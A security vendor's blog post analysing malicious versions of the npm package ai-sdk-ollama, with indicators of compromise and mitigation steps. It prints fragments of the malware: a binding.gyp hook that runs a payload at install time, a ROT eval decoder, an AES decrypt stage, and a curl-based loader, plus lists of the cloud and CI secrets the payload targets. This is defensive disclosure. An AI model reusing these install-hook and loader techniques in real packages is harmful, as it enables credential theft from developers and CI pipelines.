By clicking “Accept”, you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information.
18px_cookie
e-remove
Blog

Malicious Payload in ai-sdk-ollama npm Package

Endor Labs detected a potentially malicious versions of ai-sdk-ollama, a popular Ollama SDK on npm with 120K+ monthly downloads. Here's what we know and what to do now.

Written by
Danny Kim
Danny Kim
Peyton Kennedy
Peyton Kennedy
Published on
June 3, 2026
Updated on
June 3, 2026

TL;DR

Endor Labs detected four malicious versions of ai-sdk-ollama published to npm inside a single 17-second window. Ai-sdk-ollama is a popular community-maintained npm package that connects Ollama, a widely used tool for running open-source LLMs locally, to the Vercel AI SDK. The package is not affiliated with Ollama or Vercel, but serves as an unofficial bridge between the two. It receives over 120,000 downloads per month.

The library's real code is untouched. The attacker added two files to the published tarball and used npm's native-build behavior to run a payload at install time, before any application code imports the package.

Three things stand out about this incident:

  • The trigger is a binding.gyp, not a postinstall script. npm runs node-gyp rebuild automatically whenever a package ships a binding.gyp, with no install script declared. The file abuses gyp command substitution to run node index.js during install, so most "no lifecycle scripts" checks miss it.
  • Layered obfuscation with rotating keys. A 4.5MB root index.js uses an eval(ROT-n(...)) decode-then-execute wrapper that unpacks a self-decrypting AES-128-GCM stage. The ROT key changed between versions published the same minute (shift 15 in 3.8.5, shift 18 in 2.2.1), which is active evasion rather than a build artifact.
  • A multi-cloud secret stealer with worm potential. The final stage downloads the standalone Bun runtime to run outside Node, then harvests AWS, GCP, Azure, Vault, and Kubernetes credentials, GitHub Actions OIDC tokens, and npm, GitHub, and RubyGems registry tokens. The behavior lines up with the "Mini Shai-Hulud" class of self-replicating supply-chain malware.

Affected versions

Package Name Version Published (UTC) Notes
npm/ai-sdk-ollama 0.13.1 2026-06-04 00:25 Malicious. Back-fills the 0.x line.
npm/ai-sdk-ollama 1.1.1 2026-06-04 00:25 Malicious. Back-fills the 1.x line.
npm/ai-sdk-ollama 2.2.1 2026-06-04 00:25 Malicious. Back-fills the 2.x line.
npm/ai-sdk-ollama 3.8.5 2026-06-04 00:25 Malicious. latest tag moved here.

Timeline

Time (UTC) Event
2026-06-04 00:25:27 0.13.1 published (malicious)
2026-06-04 00:25:32 1.1.1 published (malicious)
2026-06-04 00:25:38 2.2.1 published (malicious)
2026-06-04 00:25:44 3.8.5 published (malicious); latest dist-tag moved to it
2026-06-04 00:48:05 Endor Labs identified version 3.8.5 as malicious

The publishing pattern is the tell. Legitimate releases were weeks apart, with 3.8.4 shipping on 2026-05-11. The four malicious versions landed within 17 seconds of each other, each one targeting a different major line. The one-per-major trick is the clever part: whatever range you have pinned, the next install pulls a poisoned version.

Technical analysis

The legitimate code is untouched

Comparing 3.8.5 against the clean 3.8.4, the entire dist/ build output is byte-for-byte identical. The declared entry point ("main": "./dist/index.js") is the real, unmodified library. The attacker did not patch the package's code. They bolted a payload onto the side of it. Version 3.8.5 adds exactly two files the clean version does not have:

File Size Role
package/index.js ~4.5 MB Obfuscated payload, not an entry point
package/binding.gyp 157 B Native-build install hook (the trigger)

The install hook (binding.gyp)

There is no preinstall or postinstall script in package.json, only ordinary dev scripts. The execution vector is the binding.gyp. npm treats the presence of a binding.gyp as a signal to run node-gyp rebuild during install, even with no install script. The file weaponizes gyp's command substitution syntax:

{

  "targets": [

    {

      "target_name": "Setup",

      "type": "none",

      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]

    }

  ]

}

When gyp evaluates the sources list, it runs node index.js on the host. Output goes to /dev/null to stay quiet, and && echo stub.c returns a fake source filename so gyp does not error. The payload fires on npm install, not on import. No install script, and no visible sign of compromise.

Decode-then-execute (eval and ROT)

The root index.js is one large call that wraps an array of character codes in a Caesar-cipher decoder and then evals the result:

try{eval(function(s,n){return s.replace(/[a-zA-Z]/g,function(c){

  var b=c<="Z"?65:97;

  return String.fromCharCode((c.charCodeAt(0)-b+n)%26+b)

})}([/* ~1.3M char codes */], /* shift */))}catch(e){}

Decoding the array is a plain string transform and does not require running anything. The decoded result starts with an async block.

Rotating obfuscation keys

The ROT shift is different across versions published in the same window. 3.8.5 decodes with a shift of 15, and 2.2.1 decodes with a shift of 18. We do not see legitimate packages rotate an obfuscation key between point releases minted the same minute. It points to deliberate evasion aimed at static signatures keyed on a single decoded form.

Self-decrypting AES-128-GCM stage

The decoded layer imports node:crypto, defines an AES-128-GCM helper, and decrypts inline blobs whose keys, IVs, and auth tags are embedded in the script:

(async()=>{try{

const _c=await import("node:crypto");

const _d=(k,i,a,c)=>{

  const d=_c.createDecipheriv("aes-128-gcm",

    Buffer.from(k,"hex"),Buffer.from(i,"hex"),{authTagLength:16});

  d.setAuthTag(Buffer.from(a,"hex"));

  return Buffer.concat([d.update(Buffer.from(c,"hex")),d.final()]);

};

/* ... decrypt and run stage two ... */

Two ciphertext blobs are present: a small loader of roughly 900 bytes and a main payload of about 668KB.

The loader runs the payload under Bun

The smaller blob downloads a standalone Bun runtime and uses it to run the main payload, instead of running it under Node:

const dir = mkdtempSync(join(tmpdir(), "b-"));

const exe = join(dir, os === "windows" ? "bun.exe" : "bun");

const url = "https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-"+os+"-"+a+".zip";

execSync('curl -sSL "'+url+'" -o "'+zip+'"', {stdio:"pipe"});

execSync('unzip -j -o "'+zip+'" -d "'+dir+'"', {stdio:"pipe"});

chmodSync(exe, "755");

A Node package has no reason to do that. The usual reason is to get past tooling that only watches Node. The runtime itself is pulled from the real Bun GitHub release URL, so it blends into normal developer traffic and slips past simple blocklists.

Second-stage payload: multi-cloud credential theft

The 668KB main payload is heavily obfuscated, in obfuscator.io style. Its embedded strings show a collector built for specific secrets, including:

  • AWS: session tokens, AWS_REGION, EC2 instance metadata (X-aws-ec2-metadata-token), WebIdentityToken
  • GCP: GOOGLE_APPLICATION_CREDENTIALS
  • Azure: ARM_OIDC_TOKEN_FILE_PATH
  • HashiCorp Vault: VAULT_TOKEN, VAULT_AUTH_TOKEN, X-Vault-Token
  • GitHub Actions OIDC: ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL, oidcIdentityToken
  • Kubernetes: service account tokens
  • Secret managers and chat: 1Password, Slack tokens
  • Generic: password, credentials, sessionToken, authToken, staticCredentials

These collectors are keyed to the exact token names and paths each platform uses, not a random scrape of environment variables. In CI, that puts deployment keys, cloud role credentials, and pipeline secrets in scope.

Worm capability

The payload also collects npm, GitHub, and RubyGems registry tokens. Combined with the simultaneous back-fill across four major lines, that gives the operator what it needs to republish poisoned packages from any account it compromises, which is the core behavior of a self-propagating worm. No plaintext command-and-control host shows up in the strings. The exfiltration endpoint is built at runtime inside the obfuscated bundle.

Indicators of compromise

Package indicators

Indicator Notes
ai-sdk-ollama@0.13.1 Malicious. Do not install.
ai-sdk-ollama@1.1.1 Malicious. Do not install.
ai-sdk-ollama@2.2.1 Malicious. Do not install.
ai-sdk-ollama@3.8.5 Malicious. latest tag moved here.

File indicators

File / Path Notes
package/binding.gyp 157-byte native-build hook, absent from clean releases
package/index.js ~4.5 MB obfuscated payload at archive root, not entry point
temp dir b-* with bun mkdtemp dir under the OS temp path containing a bun binary

Network and behavioral indicators

Indicator Notes
github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-*.zip Bun runtime fetched from an install context
node-gyp rebuild during install of ai-sdk-ollama Package ships no real native addon
curl or unzip spawned during npm install Driven by the loader

Code markers

Marker Notes
"<!(node index.js > /dev/null 2>&1 && echo stub.c)" In binding.gyp of affected versions
eval(function(s,n){return s.replace(/[a-zA-Z]/g, ROT decode-then-execute wrapper in root index.js
createDecipheriv("aes-128-gcm" Self-decrypting stage in a non-entry-point file
globalThis.getBunPath Loader that stages the Bun runtime

Mitigation

If you use ai-sdk-ollama, audit your dependency tree now. Don't install 3.8.5, and treat 0.13.1, 1.1.1, and 2.2.1 as part of the same incident. The current latest tag is 3.8.5, so anyone not pinned to an older version may be affected. The last known clean version is 3.8.4.

Check your exposure

npm ls ai-sdk-ollama

grep -RniE 'ai-sdk-ollama' package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null

# Stray binding.gyp or oversized root index.js in the installed package

ls -la node_modules/ai-sdk-ollama/binding.gyp node_modules/ai-sdk-ollama/index.js 2>/dev/null

# Bun runtime staged in a temp directory

find "${TMPDIR:-/tmp}" -maxdepth 2 -type f -name 'bun*' 2>/dev/null

Pin to the last clean version and check its integrity hash:

npm install ai-sdk-ollama@3.8.4

# sha512-vvhLHo9MrOhDxsxRWfOGqBmQsnbDPKQHqDG5vSYMkdu6q8RPxJIYag001jQIAKA2MO37Nf96gCAPWM+dufvglw==

Rotate credentials

On any host or CI runner that installed an affected version, treat these as compromised and rotate them:

  • npm, GitHub, and RubyGems registry tokens, and check for unexpected package publishes under your accounts
  • AWS access keys and session tokens, and review CloudTrail for unexpected calls and IMDS access
  • GCP service account keys and application default credentials
  • Azure service principal, managed identity, and OIDC tokens
  • HashiCorp Vault and Kubernetes service account tokens
  • GitHub Actions OIDC trust relationships
  • 1Password and Slack tokens, plus any .env contents the build could read

Harden going forward

  • Turn off install scripts and native rebuilds by default. npm install --ignore-scripts blocks postinstall, and blocking automatic node-gyp builds closes the binding.gyp vector.
  • Pin with integrity hashes. A lockfile digest fails the install when a republished version's content does not match, before any code runs.
  • Flag oversized or non-entry-point files. A multi-megabyte root index.js that is not the declared main is worth blocking automatically.
  • Watch publish cadence and dist-tag moves. Several major lines back-filled within seconds, or latest jumping to a pre-existing minor, is a strong compromise signal, and it is the window in which this was flagged.
  • Scope CI permissions tightly. Credential theft only pays off if the secrets are reachable from the build host.